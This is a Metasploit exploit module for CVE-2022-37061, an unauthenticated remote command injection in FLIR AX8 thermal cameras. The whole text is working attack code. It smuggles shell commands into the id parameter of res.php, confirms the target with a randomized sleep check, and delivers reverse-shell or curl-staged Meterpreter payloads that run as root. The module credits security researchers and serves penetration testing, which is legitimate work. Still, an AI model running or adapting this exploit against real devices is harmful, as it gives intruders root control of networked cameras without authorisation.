Exploit/Advisories

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FLIR AX8 unauthenticated RCE',
'Description' => %q{
All FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to Remote Command Injection.
This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter
in the res.php endpoint.

This module uses the vulnerability to upload and execute payloads gaining root privileges.
},
'License' => MSF_LICENSE,
'Author' => [
'Thomas Knudsen (https://www.linkedin.com/in/thomasjknudsen)', # Security researcher
'Samy Younsi (https://www.linkedin.com/in/samy-younsi)', # Security researcher
'h00die-gr3y' # metasploit module
],
'References' => [
['CVE', '2022-37061'],
['PACKETSTORM', '168114'],
['URL', 'https://attackerkb.com/topics/UAZaDsQBfx/cve-2022-37061'],
],
'DisclosureDate' => '2022-08-19',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'curl', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end

def execute_command(cmd, _opts = {})
action_id = rand(1..40)
return send_request_cgi({
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'uri' => normalize_uri(target_uri.path, 'res.php'),
'vars_post' => {
'action' => 'alarm',
'id' => "#{action_id};#{cmd}"
}
})
rescue StandardError => e
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
print_error("Communication error occurred: #{e.message}")
return nil
end

# Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution
def check
print_status("Checking if #{peer} can be exploited!")
sleep_time = rand(5..10)
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
res, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end

return Exploit::CheckCode::Unknown('No response received from the target!') unless res

print_status("Elapsed time: #{elapsed_time} seconds.")
return CheckCode::Safe('Failed to test command injection.') unless elapsed_time >= sleep_time

CheckCode::Vulnerable('Successfully tested command injection.')
end

def exploit
case target['Type']
when :unix_cmd
print_status("Executing #{target.name} with #{payload.encoded}")
execute_command(payload.encoded)
when :linux_dropper
print_status("Executing #{target.name}")
execute_cmdstager
end
end
end

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